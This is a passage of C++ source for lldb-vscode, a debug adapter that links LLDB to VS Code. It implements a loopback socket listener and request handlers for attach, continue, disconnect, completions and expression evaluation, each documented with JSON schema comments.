#include <unistd.h> #endif #include <algorithm> #include <chrono> #include <fstream> #include <map> #include <memory> #include <mutex> #include <set> #include <sstream> #include <thread> #include "llvm/ADT/ArrayRef.h" #include "llvm/Option/Arg.h" #include "llvm/Option/ArgList.h" #include "llvm/Option/Option.h" #include "llvm/Support/Errno.h" #include "llvm/Support/FileSystem.h" #include "llvm/Support/Path.h" #include "llvm/Support/raw_ostream.h" #include "JSONUtils.h" #include "LLDBUtils.h" #include "VSCode.h" #if defined(_WIN32) #ifndef PATH_MAX #define PATH_MAX MAX_PATH #endif typedef int socklen_t; constexpr const char *dev_null_path = "nul"; #else constexpr const char *dev_null_path = "/dev/null"; #endif using namespace lldb_vscode; namespace { enum ID { OPT_INVALID = 0, // This is not an option ID. #define OPTION(PREFIX, NAME, ID, KIND, GROUP, ALIAS, ALIASARGS, FLAGS, PARAM, \ HELPTEXT, METAVAR, VALUES) \ OPT_##ID, #include "Options.inc" #undef OPTION }; #define PREFIX(NAME, VALUE) const char *const NAME[] = VALUE; #include "Options.inc" #undef PREFIX static const llvm::opt::OptTable::Info InfoTable[] = { #define OPTION(PREFIX, NAME, ID, KIND, GROUP, ALIAS, ALIASARGS, FLAGS, PARAM, \ HELPTEXT, METAVAR, VALUES) \ {PREFIX, NAME, HELPTEXT, \ METAVAR, OPT_##ID, llvm::opt::Option::KIND##Class, \ PARAM, FLAGS, OPT_##GROUP, \ OPT_##ALIAS, ALIASARGS, VALUES}, #include "Options.inc" #undef OPTION }; class LLDBVSCodeOptTable : public llvm::opt::OptTable { public: LLDBVSCodeOptTable() : OptTable(InfoTable, true) {} }; typedef void (*RequestCallback)(const llvm::json::Object &command); enum LaunchMethod { Launch, Attach, AttachForSuspendedLaunch }; SOCKET AcceptConnection(int portno) { // Accept a socket connection from any host on "portno". SOCKET newsockfd = -1; struct sockaddr_in serv_addr, cli_addr; SOCKET sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { if (g_vsc.log) *g_vsc.log << "error: opening socket (" << strerror(errno) << ")" << std::endl; } else { memset((char *)&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; // serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { if (g_vsc.log) *g_vsc.log << "error: binding socket (" << strerror(errno) << ")" << std::endl; } else { listen(sockfd, 5); socklen_t clilen = sizeof(cli_addr); newsockfd = llvm::sys::RetryAfterSignal(static_cast<SOCKET>(-1), accept, sockfd, (struct sockaddr *)&cli_addr, &clilen); if (newsockfd < 0) if (g_vsc.log) *g_vsc.log << "error: accept (" << strerror(errno) << ")" << std::endl; } #if defined(_WIN32) closesocket(sockfd); #else close(sockfd); #endif } return newsockfd; } std::vector<const char *> MakeArgv(const llvm::ArrayRef<std::string> &strs) { // Create and return an array of "const char *", one for each C string in // "strs" and terminate the list with a NULL. This can be used for argument // vectors (argv) or environment vectors (envp) like those passed to the // "main" function in C programs. std::vector<const char *> argv; for (const auto &s : strs) argv.push_back(s.c_str()); argv.push_back(nullptr); return argv; } // Send a "exited" event to indicate the process has exited. void SendProcessExitedEvent(lldb::SBProcess &process) { llvm::json::Object event(CreateEventObject("exited")); llvm::json::Object body; body.try_emplace("exitCode", (int64_t)process.GetExitStatus()); event.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(event))); } void SendThreadExitedEvent(lldb::tid_t tid) { llvm::json::Object event(CreateEventObject("thread")); llvm::json::Object body; body.try_emplace("reason", "exited"); body.try_emplace("threadId", (int64_t)tid); event.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(event))); } // Send a "terminated" event to indicate the process is done being // debugged. void SendTerminatedEvent() { if (!g_vsc.sent_terminated_event) { g_vsc.sent_terminated_event = true; // Send a "terminated" event llvm::json::Object event(CreateEventObject("terminated")); g_vsc.SendJSON(llvm::json::Value(std::move(event))); } } // Send a thread stopped event for all threads as long as the process // is stopped. void SendThreadStoppedEvent() { lldb::SBProcess process = g_vsc.target.GetProcess(); if (process.IsValid()) { auto state = process.GetState(); if (state == lldb::eStateStopped) { llvm::DenseSet<lldb::tid_t> old_thread_ids; old_thread_ids.swap(g_vsc.thread_ids); uint32_t stop_id = process.GetStopID(); const uint32_t num_threads = process.GetNumThreads(); // First make a pass through the threads to see if the focused thread // has a stop reason. In case the focus thread doesn't have a stop // reason, remember the first thread that has a stop reason so we can // set it as the focus thread if below if needed. lldb::tid_t first_tid_with_reason = LLDB_INVALID_THREAD_ID; uint32_t num_threads_with_reason = 0; for (uint32_t thread_idx = 0; thread_idx < num_threads; ++thread_idx) { lldb::SBThread thread = process.GetThreadAtIndex(thread_idx); const lldb::tid_t tid = thread.GetThreadID(); const bool has_reason = ThreadHasStopReason(thread); // If the focus thread doesn't have a stop reason, clear the thread ID if (tid == g_vsc.focus_tid && !has_reason) g_vsc.focus_tid = LLDB_INVALID_THREAD_ID; if (has_reason) { ++num_threads_with_reason; if (first_tid_with_reason == LLDB_INVALID_THREAD_ID) first_tid_with_reason = tid; } } // We will have cleared g_vsc.focus_tid if he focus thread doesn't // have a stop reason, so if it was cleared, or wasn't set, then set the // focus thread to the first thread with a stop reason. if (g_vsc.focus_tid == LLDB_INVALID_THREAD_ID) g_vsc.focus_tid = first_tid_with_reason; // If no threads stopped with a reason, then report the first one so // we at least let the UI know we stopped. if (num_threads_with_reason == 0) { lldb::SBThread thread = process.GetThreadAtIndex(0); g_vsc.SendJSON(CreateThreadStopped(thread, stop_id)); } else { for (uint32_t thread_idx = 0; thread_idx < num_threads; ++thread_idx) { lldb::SBThread thread = process.GetThreadAtIndex(thread_idx); g_vsc.thread_ids.insert(thread.GetThreadID()); if (ThreadHasStopReason(thread)) { g_vsc.SendJSON(CreateThreadStopped(thread, stop_id)); } } } for (auto tid : old_thread_ids) { auto end = g_vsc.thread_ids.end(); auto pos = g_vsc.thread_ids.find(tid); if (pos == end) SendThreadExitedEvent(tid); } } else { if (g_vsc.log) *g_vsc.log << "error: SendThreadStoppedEvent() when process" " isn't stopped (" << lldb::SBDebugger::StateAsCString(state) << ')' << std::endl; } } else { if (g_vsc.log) *g_vsc.log << "error: SendThreadStoppedEvent() invalid process" << std::endl; } g_vsc.RunStopCommands(); } // "ProcessEvent": { // "allOf": [ // { "$ref": "#/definitions/Event" }, // { // "type": "object", // "description": "Event message for 'process' event type. The event // indicates that the debugger has begun debugging a // new process. Either one that it has launched, or one // that it has attached to.", // "properties": { // "event": { // "type": "string", // "enum": [ "process" ] // }, // "body": { // "type": "object", // "properties": { // "name": { // "type": "string", // "description": "The logical name of the process. This is // usually the full path to process's executable // file. Example: /home/myproj/program.js." // }, // "systemProcessId": { // "type": "integer", // "description": "The system process id of the debugged process. // This property will be missing for non-system // processes." // }, // "isLocalProcess": { // "type": "boolean", // "description": "If true, the process is running on the same // computer as the debug adapter." // }, // "startMethod": { // "type": "string", // "enum": [ "launch", "attach", "attachForSuspendedLaunch" ], // "description": "Describes how the debug engine started // debugging this process.", // "enumDescriptions": [ // "Process was launched under the debugger.", // "Debugger attached to an existing process.", // "A project launcher component has launched a new process in // a suspended state and then asked the debugger to attach." // ] // } // }, // "required": [ "name" ] // } // }, // "required": [ "event", "body" ] // } // ] // } void SendProcessEvent(LaunchMethod launch_method) { lldb::SBFileSpec exe_fspec = g_vsc.target.GetExecutable(); char exe_path[PATH_MAX]; exe_fspec.GetPath(exe_path, sizeof(exe_path)); llvm::json::Object event(CreateEventObject("process")); llvm::json::Object body; EmplaceSafeString(body, "name", std::string(exe_path)); const auto pid = g_vsc.target.GetProcess().GetProcessID(); body.try_emplace("systemProcessId", (int64_t)pid); body.try_emplace("isLocalProcess", true); const char *startMethod = nullptr; switch (launch_method) { case Launch: startMethod = "launch"; break; case Attach: startMethod = "attach"; break; case AttachForSuspendedLaunch: startMethod = "attachForSuspendedLaunch"; break; } body.try_emplace("startMethod", startMethod); event.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(event))); } // Grab any STDOUT and STDERR from the process and send it up to VS Code // via an "output" event to the "stdout" and "stderr" categories. void SendStdOutStdErr(lldb::SBProcess &process) { char buffer[1024]; size_t count; while ((count = process.GetSTDOUT(buffer, sizeof(buffer))) > 0) g_vsc.SendOutput(OutputType::Stdout, llvm::StringRef(buffer, count)); while ((count = process.GetSTDERR(buffer, sizeof(buffer))) > 0) g_vsc.SendOutput(OutputType::Stderr, llvm::StringRef(buffer, count)); } // All events from the debugger, target, process, thread and frames are // received in this function that runs in its own thread. We are using a // "FILE *" to output packets back to VS Code and they have mutexes in them // them prevent multiple threads from writing simultaneously so no locking // is required. void EventThreadFunction() { lldb::SBEvent event; lldb::SBListener listener = g_vsc.debugger.GetListener(); bool done = false; while (!done) { if (listener.WaitForEvent(1, event)) { const auto event_mask = event.GetType(); if (lldb::SBProcess::EventIsProcessEvent(event)) { lldb::SBProcess process = lldb::SBProcess::GetProcessFromEvent(event); if (event_mask & lldb::SBProcess::eBroadcastBitStateChanged) { auto state = lldb::SBProcess::GetStateFromEvent(event); switch (state) { case lldb::eStateInvalid: // Not a state event break; case lldb::eStateUnloaded: break; case lldb::eStateConnected: break; case lldb::eStateAttaching: break; case lldb::eStateLaunching: break; case lldb::eStateStepping: break; case lldb::eStateCrashed: break; case lldb::eStateDetached: break; case lldb::eStateSuspended: break; case lldb::eStateStopped: // Only report a stopped event if the process was not restarted. if (!lldb::SBProcess::GetRestartedFromEvent(event)) { SendStdOutStdErr(process); SendThreadStoppedEvent(); } break; case lldb::eStateRunning: break; case lldb::eStateExited: { // Run any exit LLDB commands the user specified in the // launch.json g_vsc.RunExitCommands(); SendProcessExitedEvent(process); SendTerminatedEvent(); done = true; } break; } } else if ((event_mask & lldb::SBProcess::eBroadcastBitSTDOUT) || (event_mask & lldb::SBProcess::eBroadcastBitSTDERR)) { SendStdOutStdErr(process); } } else if (lldb::SBBreakpoint::EventIsBreakpointEvent(event)) { if (event_mask & lldb::SBTarget::eBroadcastBitBreakpointChanged) { auto event_type = lldb::SBBreakpoint::GetBreakpointEventTypeFromEvent(event); auto bp = lldb::SBBreakpoint::GetBreakpointFromEvent(event); // If the breakpoint was originated from the IDE, it will have the // BreakpointBase::GetBreakpointLabel() label attached. Regardless // of wether the locations were added or removed, the breakpoint // ins't going away, so we the reason is always "changed". if ((event_type & lldb::eBreakpointEventTypeLocationsAdded || event_type & lldb::eBreakpointEventTypeLocationsRemoved) && bp.MatchesName(BreakpointBase::GetBreakpointLabel())) { auto bp_event = CreateEventObject("breakpoint"); llvm::json::Object body; body.try_emplace("breakpoint", CreateBreakpoint(bp)); body.try_emplace("reason", "changed"); bp_event.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(bp_event))); } } } else if (event.BroadcasterMatchesRef(g_vsc.broadcaster)) { if (event_mask & eBroadcastBitStopEventThread) { done = true; } } } } } // Both attach and launch take a either a sourcePath or sourceMap // argument (or neither), from which we need to set the target.source-map. void SetSourceMapFromArguments(const llvm::json::Object &arguments) { const char *sourceMapHelp = "source must be be an array of two-element arrays, " "each containing a source and replacement path string.\n"; std::string sourceMapCommand; llvm::raw_string_ostream strm(sourceMapCommand); strm << "settings set target.source-map "; auto sourcePath = GetString(arguments, "sourcePath"); // sourceMap is the new, more general form of sourcePath and overrides it. auto sourceMap = arguments.getArray("sourceMap"); if (sourceMap) { for (const auto &value : *sourceMap) { auto mapping = value.getAsArray(); if (mapping == nullptr || mapping->size() != 2 || (*mapping)[0].kind() != llvm::json::Value::String || (*mapping)[1].kind() != llvm::json::Value::String) { g_vsc.SendOutput(OutputType::Console, llvm::StringRef(sourceMapHelp)); return; } auto mapFrom = GetAsString((*mapping)[0]); auto mapTo = GetAsString((*mapping)[1]); strm << "\"" << mapFrom << "\" \"" << mapTo << "\" "; } } else { if (ObjectContainsKey(arguments, "sourceMap")) { g_vsc.SendOutput(OutputType::Console, llvm::StringRef(sourceMapHelp)); return; } if (sourcePath.empty()) return; // Do any source remapping needed before we create our targets strm << "\".\" \"" << sourcePath << "\""; } strm.flush(); if (!sourceMapCommand.empty()) { g_vsc.RunLLDBCommands("Setting source map:", {sourceMapCommand}); } } // "AttachRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Attach request; value of command field is 'attach'.", // "properties": { // "command": { // "type": "string", // "enum": [ "attach" ] // }, // "arguments": { // "$ref": "#/definitions/AttachRequestArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "AttachRequestArguments": { // "type": "object", // "description": "Arguments for 'attach' request.\nThe attach request has no // standardized attributes." // }, // "AttachResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'attach' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_attach(const llvm::json::Object &request) { llvm::json::Object response; lldb::SBError error; FillResponse(request, response); auto arguments = request.getObject("arguments"); const lldb::pid_t pid = GetUnsigned(arguments, "pid", LLDB_INVALID_PROCESS_ID); if (pid != LLDB_INVALID_PROCESS_ID) g_vsc.attach_info.SetProcessID(pid); const auto wait_for = GetBoolean(arguments, "waitFor", false); g_vsc.attach_info.SetWaitForLaunch(wait_for, false /*async*/); g_vsc.init_commands = GetStrings(arguments, "initCommands"); g_vsc.pre_run_commands = GetStrings(arguments, "preRunCommands"); g_vsc.stop_commands = GetStrings(arguments, "stopCommands"); g_vsc.exit_commands = GetStrings(arguments, "exitCommands"); auto attachCommands = GetStrings(arguments, "attachCommands"); g_vsc.stop_at_entry = GetBoolean(arguments, "stopOnEntry", false); const auto debuggerRoot = GetString(arguments, "debuggerRoot"); // This is a hack for loading DWARF in .o files on Mac where the .o files // in the debug map of the main executable have relative paths which require // the lldb-vscode binary to have its working directory set to that relative // root for the .o files in order to be able to load debug info. if (!debuggerRoot.empty()) { llvm::sys::fs::set_current_path(debuggerRoot.data()); } // Run any initialize LLDB commands the user specified in the launch.json g_vsc.RunInitCommands(); lldb::SBError status; g_vsc.SetTarget(g_vsc.CreateTargetFromArguments(*arguments, status)); if (status.Fail()) { response["success"] = llvm::json::Value(false); EmplaceSafeString(response, "message", status.GetCString()); g_vsc.SendJSON(llvm::json::Value(std::move(response))); return; } const bool detatchOnError = GetBoolean(arguments, "detachOnError", false); g_vsc.launch_info.SetDetachOnError(detatchOnError); // Run any pre run LLDB commands the user specified in the launch.json g_vsc.RunPreRunCommands(); if (pid == LLDB_INVALID_PROCESS_ID && wait_for) { char attach_info[256]; auto attach_info_len = snprintf(attach_info, sizeof(attach_info), "Waiting to attach to \"%s\"...", g_vsc.target.GetExecutable().GetFilename()); g_vsc.SendOutput(OutputType::Console, llvm::StringRef(attach_info, attach_info_len)); } if (attachCommands.empty()) { // No "attachCommands", just attach normally. // Disable async events so the attach will be successful when we return from // the launch call and the launch will happen synchronously g_vsc.debugger.SetAsync(false); g_vsc.target.Attach(g_vsc.attach_info, error); // Reenable async events g_vsc.debugger.SetAsync(true); } else { // We have "attachCommands" that are a set of commands that are expected // to execute the commands after which a process should be created. If there // is no valid process after running these commands, we have failed. g_vsc.RunLLDBCommands("Running attachCommands:", attachCommands); // The custom commands might have created a new target so we should use the // selected target after these commands are run. g_vsc.target = g_vsc.debugger.GetSelectedTarget(); } SetSourceMapFromArguments(*arguments); if (error.Success()) { auto attached_pid = g_vsc.target.GetProcess().GetProcessID(); if (attached_pid == LLDB_INVALID_PROCESS_ID) { if (attachCommands.empty()) error.SetErrorString("failed to attach to a process"); else error.SetErrorString("attachCommands failed to attach to a process"); } } if (error.Fail()) { response["success"] = llvm::json::Value(false); EmplaceSafeString(response, "message", std::string(error.GetCString())); } g_vsc.SendJSON(llvm::json::Value(std::move(response))); if (error.Success()) { SendProcessEvent(Attach); g_vsc.SendJSON(CreateEventObject("initialized")); // SendThreadStoppedEvent(); } } // "ContinueRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Continue request; value of command field is 'continue'. // The request starts the debuggee to run again.", // "properties": { // "command": { // "type": "string", // "enum": [ "continue" ] // }, // "arguments": { // "$ref": "#/definitions/ContinueArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "ContinueArguments": { // "type": "object", // "description": "Arguments for 'continue' request.", // "properties": { // "threadId": { // "type": "integer", // "description": "Continue execution for the specified thread (if // possible). If the backend cannot continue on a single // thread but will continue on all threads, it should // set the allThreadsContinued attribute in the response // to true." // } // }, // "required": [ "threadId" ] // }, // "ContinueResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'continue' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "allThreadsContinued": { // "type": "boolean", // "description": "If true, the continue request has ignored the // specified thread and continued all threads // instead. If this attribute is missing a value // of 'true' is assumed for backward // compatibility." // } // } // } // }, // "required": [ "body" ] // }] // } void request_continue(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); lldb::SBProcess process = g_vsc.target.GetProcess(); auto arguments = request.getObject("arguments"); // Remember the thread ID that caused the resume so we can set the // "threadCausedFocus" boolean value in the "stopped" events. g_vsc.focus_tid = GetUnsigned(arguments, "threadId", LLDB_INVALID_THREAD_ID); lldb::SBError error = process.Continue(); llvm::json::Object body; body.try_emplace("allThreadsContinued", true); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "ConfigurationDoneRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "ConfigurationDone request; value of command field // is 'configurationDone'.\nThe client of the debug protocol must // send this request at the end of the sequence of configuration // requests (which was started by the InitializedEvent).", // "properties": { // "command": { // "type": "string", // "enum": [ "configurationDone" ] // }, // "arguments": { // "$ref": "#/definitions/ConfigurationDoneArguments" // } // }, // "required": [ "command" ] // }] // }, // "ConfigurationDoneArguments": { // "type": "object", // "description": "Arguments for 'configurationDone' request.\nThe // configurationDone request has no standardized attributes." // }, // "ConfigurationDoneResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'configurationDone' request. This is // just an acknowledgement, so no body field is required." // }] // }, void request_configurationDone(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); g_vsc.SendJSON(llvm::json::Value(std::move(response))); if (g_vsc.stop_at_entry) SendThreadStoppedEvent(); else g_vsc.target.GetProcess().Continue(); } // "DisconnectRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Disconnect request; value of command field is // 'disconnect'.", // "properties": { // "command": { // "type": "string", // "enum": [ "disconnect" ] // }, // "arguments": { // "$ref": "#/definitions/DisconnectArguments" // } // }, // "required": [ "command" ] // }] // }, // "DisconnectArguments": { // "type": "object", // "description": "Arguments for 'disconnect' request.", // "properties": { // "terminateDebuggee": { // "type": "boolean", // "description": "Indicates whether the debuggee should be terminated // when the debugger is disconnected. If unspecified, // the debug adapter is free to do whatever it thinks // is best. A client can only rely on this attribute // being properly honored if a debug adapter returns // true for the 'supportTerminateDebuggee' capability." // }, // "restart": { // "type": "boolean", // "description": "Indicates whether the debuggee should be restart // the process." // } // } // }, // "DisconnectResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'disconnect' request. This is just an // acknowledgement, so no body field is required." // }] // } void request_disconnect(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); auto arguments = request.getObject("arguments"); bool terminateDebuggee = GetBoolean(arguments, "terminateDebuggee", false); lldb::SBProcess process = g_vsc.target.GetProcess(); auto state = process.GetState(); switch (state) { case lldb::eStateInvalid: case lldb::eStateUnloaded: case lldb::eStateDetached: case lldb::eStateExited: break; case lldb::eStateConnected: case lldb::eStateAttaching: case lldb::eStateLaunching: case lldb::eStateStepping: case lldb::eStateCrashed: case lldb::eStateSuspended: case lldb::eStateStopped: case lldb::eStateRunning: g_vsc.debugger.SetAsync(false); if (terminateDebuggee) process.Kill(); else process.Detach(); g_vsc.debugger.SetAsync(true); break; } g_vsc.SendJSON(llvm::json::Value(std::move(response))); SendTerminatedEvent(); if (g_vsc.event_thread.joinable()) { g_vsc.broadcaster.BroadcastEventByType(eBroadcastBitStopEventThread); g_vsc.event_thread.join(); } } void request_exceptionInfo(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); auto arguments = request.getObject("arguments"); llvm::json::Object body; lldb::SBThread thread = g_vsc.GetLLDBThread(*arguments); if (thread.IsValid()) { auto stopReason = thread.GetStopReason(); if (stopReason == lldb::eStopReasonSignal) body.try_emplace("exceptionId", "signal"); else if (stopReason == lldb::eStopReasonBreakpoint) { ExceptionBreakpoint *exc_bp = g_vsc.GetExceptionBPFromStopReason(thread); if (exc_bp) { EmplaceSafeString(body, "exceptionId", exc_bp->filter); EmplaceSafeString(body, "description", exc_bp->label); } else { body.try_emplace("exceptionId", "exception"); } } else { body.try_emplace("exceptionId", "exception"); } if (!ObjectContainsKey(body, "description")) { char description[1024]; if (thread.GetStopDescription(description, sizeof(description))) { EmplaceSafeString(body, "description", std::string(description)); } } body.try_emplace("breakMode", "always"); // auto excInfoCount = thread.GetStopReasonDataCount(); // for (auto i=0; i<excInfoCount; ++i) { // uint64_t exc_data = thread.GetStopReasonDataAtIndex(i); // } } else { response["success"] = llvm::json::Value(false); } response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "CompletionsRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Returns a list of possible completions for a given caret position and text.\nThe CompletionsRequest may only be called if the 'supportsCompletionsRequest' capability exists and is true.", // "properties": { // "command": { // "type": "string", // "enum": [ "completions" ] // }, // "arguments": { // "$ref": "#/definitions/CompletionsArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "CompletionsArguments": { // "type": "object", // "description": "Arguments for 'completions' request.", // "properties": { // "frameId": { // "type": "integer", // "description": "Returns completions in the scope of this stack frame. If not specified, the completions are returned for the global scope." // }, // "text": { // "type": "string", // "description": "One or more source lines. Typically this is the text a user has typed into the debug console before he asked for completion." // }, // "column": { // "type": "integer", // "description": "The character position for which to determine the completion proposals." // }, // "line": { // "type": "integer", // "description": "An optional line for which to determine the completion proposals. If missing the first line of the text is assumed." // } // }, // "required": [ "text", "column" ] // }, // "CompletionsResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'completions' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "targets": { // "type": "array", // "items": { // "$ref": "#/definitions/CompletionItem" // }, // "description": "The possible completions for ." // } // }, // "required": [ "targets" ] // } // }, // "required": [ "body" ] // }] // }, // "CompletionItem": { // "type": "object", // "description": "CompletionItems are the suggestions returned from the CompletionsRequest.", // "properties": { // "label": { // "type": "string", // "description": "The label of this completion item. By default this is also the text that is inserted when selecting this completion." // }, // "text": { // "type": "string", // "description": "If text is not falsy then it is inserted instead of the label." // }, // "sortText": { // "type": "string", // "description": "A string that should be used when comparing this item with other items. When `falsy` the label is used." // }, // "type": { // "$ref": "#/definitions/CompletionItemType", // "description": "The item's type. Typically the client uses this information to render the item in the UI with an icon." // }, // "start": { // "type": "integer", // "description": "This value determines the location (in the CompletionsRequest's 'text' attribute) where the completion text is added.\nIf missing the text is added at the location specified by the CompletionsRequest's 'column' attribute." // }, // "length": { // "type": "integer", // "description": "This value determines how many characters are overwritten by the completion text.\nIf missing the value 0 is assumed which results in the completion text being inserted." // } // }, // "required": [ "label" ] // }, // "CompletionItemType": { // "type": "string", // "description": "Some predefined types for the CompletionItem. Please note that not all clients have specific icons for all of them.", // "enum": [ "method", "function", "constructor", "field", "variable", "class", "interface", "module", "property", "unit", "value", "enum", "keyword", "snippet", "text", "color", "file", "reference", "customcolor" ] // } void request_completions(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Object body; auto arguments = request.getObject("arguments"); std::string text = std::string(GetString(arguments, "text")); auto original_column = GetSigned(arguments, "column", text.size()); auto actual_column = original_column - 1; llvm::json::Array targets; // NOTE: the 'line' argument is not needed, as multiline expressions // work well already // TODO: support frameID. Currently // g_vsc.debugger.GetCommandInterpreter().HandleCompletionWithDescriptions // is frame-unaware. if (!text.empty() && text[0] == '`') { text = text.substr(1); actual_column--; } else { text = "p " + text; actual_column += 2; } lldb::SBStringList matches; lldb::SBStringList descriptions; g_vsc.debugger.GetCommandInterpreter().HandleCompletionWithDescriptions( text.c_str(), actual_column, 0, -1, matches, descriptions); size_t count = std::min((uint32_t)50, matches.GetSize()); targets.reserve(count); for (size_t i = 0; i < count; i++) { std::string match = matches.GetStringAtIndex(i); std::string description = descriptions.GetStringAtIndex(i); llvm::json::Object item; llvm::StringRef match_ref = match; for(llvm::StringRef commit_point: {".", "->"}) { if (match_ref.contains(commit_point)){ match_ref = match_ref.rsplit(commit_point).second; } } EmplaceSafeString(item, "text", match_ref); if (description.empty()) EmplaceSafeString(item, "label", match); else EmplaceSafeString(item, "label", match + " -- " + description); targets.emplace_back(std::move(item)); } body.try_emplace("targets", std::move(targets)); response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "EvaluateRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Evaluate request; value of command field is 'evaluate'. // Evaluates the given expression in the context of the // top most stack frame. The expression has access to any // variables and arguments that are in scope.", // "properties": { // "command": { // "type": "string", // "enum": [ "evaluate" ] // }, // "arguments": { // "$ref": "#/definitions/EvaluateArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "EvaluateArguments": { // "type": "object", // "description": "Arguments for 'evaluate' request.", // "properties": { // "expression": { // "type": "string", // "description": "The expression to evaluate." // }, // "frameId": { // "type": "integer", // "description": "Evaluate the expression in the scope of this stack // frame. If not specified, the expression is evaluated // in the global scope." // }, // "context": { // "type": "string", // "_enum": [ "watch", "repl", "hover" ], // "enumDescriptions": [ // "evaluate is run in a watch.", // "evaluate is run from REPL console.", // "evaluate is run from a data hover." // ], // "description": "The context in which the evaluate request is run." // }, // "format": { // "$ref": "#/definitions/ValueFormat", // "description": "Specifies details on how to format the Evaluate // result." // } // }, // "required": [ "expression" ] // }, // "EvaluateResponse": { // "allOf": [ { "$ref": "#/definitions/Response" }, { // "type": "object", // "description": "Response to 'evaluate' request.", // "properties": { // "body": { // "type": "object", // "properties": { // "result": { // "type": "string", // "description": "The result of the evaluate request." // }, // "type": { // "type": "string", // "description": "The optional type of the evaluate result." // }, // "presentationHint": { // "$ref": "#/definitions/VariablePresentationHint", // "description": "Properties of a evaluate result that can be // used to determine how to render the result in // the UI." // }, // "variablesReference": { // "type": "number", // "description": "If variablesReference is > 0, the evaluate // result is structured and its children can be // retrieved by passing variablesReference to the // VariablesRequest." // }, // "namedVariables": { // "type": "number", // "description": "The number of named child variables. The // client can use this optional information to // present the variables in a paged UI and fetch // them in chunks." // }, // "indexedVariables": { // "type": "number", // "description": "The number of indexed child variables. The // client can use this optional information to // present the variables in a paged UI and fetch // them in chunks." // } // }, // "required": [ "result", "variablesReference" ] // } // }, // "required": [ "body" ] // }] // } void request_evaluate(const llvm::json::Object &request) { llvm::json::Object response; FillResponse(request, response); llvm::json::Object body; auto arguments = request.getObject("arguments"); lldb::SBFrame frame = g_vsc.GetLLDBFrame(*arguments); const auto expression = GetString(arguments, "expression"); if (!expression.empty() && expression[0] == '`') { auto result = RunLLDBCommands(llvm::StringRef(), {std::string(expression.substr(1))}); EmplaceSafeString(body, "result", result); body.try_emplace("variablesReference", (int64_t)0); } else { // Always try to get the answer from the local variables if possible. If // this fails, then actually evaluate an expression using the expression // parser. "frame variable" is more reliable than the expression parser in // many cases and it is faster. lldb::SBValue value = frame.GetValueForVariablePath( expression.data(), lldb::eDynamicDontRunTarget); if (value.GetError().Fail()) value = frame.EvaluateExpression(expression.data()); if (value.GetError().Fail()) { response["success"] = llvm::json::Value(false); // This error object must live until we're done with the pointer returned // by GetCString(). lldb::SBError error = value.GetError(); const char *error_cstr = error.GetCString(); if (error_cstr && error_cstr[0]) EmplaceSafeString(response, "message", std::string(error_cstr)); else EmplaceSafeString(response, "message", "evaluate failed"); } else { SetValueForKey(value, body, "result"); auto value_typename = value.GetType().GetDisplayTypeName(); EmplaceSafeString(body, "type", value_typename ? value_typename : NO_TYPENAME); if (value.MightHaveChildren()) { auto variablesReference = VARIDX_TO_VARREF(g_vsc.variables.GetSize()); g_vsc.variables.Append(value); body.try_emplace("variablesReference", variablesReference); } else { body.try_emplace("variablesReference", (int64_t)0); } } } response.try_emplace("body", std::move(body)); g_vsc.SendJSON(llvm::json::Value(std::move(response))); } // "InitializeRequest": { // "allOf": [ { "$ref": "#/definitions/Request" }, { // "type": "object", // "description": "Initialize request; value of command field is // 'initialize'.", // "properties": { // "command": { // "type": "string", // "enum": [ "initialize" ] // }, // "arguments": { // "$ref": "#/definitions/InitializeRequestArguments" // } // }, // "required": [ "command", "arguments" ] // }] // }, // "InitializeRequestArguments": { // "type": "object", // "description": "Arguments for 'initialize' request.", // "properties": { // "clientID": { // "type": "string", // "description": "The ID of the (frontend) client using this adapter." // }, // "adapterID": { // "type": "string", // "description": "The ID of the debug adapter." // }, // "locale": { // "type": "string", // "description": "The ISO-639 locale of the (frontend) client using // this adapter, e.g. en-US or de-CH." // }, // "linesStartAt1": { // "type": "boolean", // "description": "If true all line numbers are 1-based (default)." // }, // "columnsStartAt1": { // "type": "boolean", // "description": "If true all column numbers are 1-based (default)." // }, // "pathFormat": { // "type": "string", // "_enum": [ "path", "uri" ], // "description": "Determines in what format paths 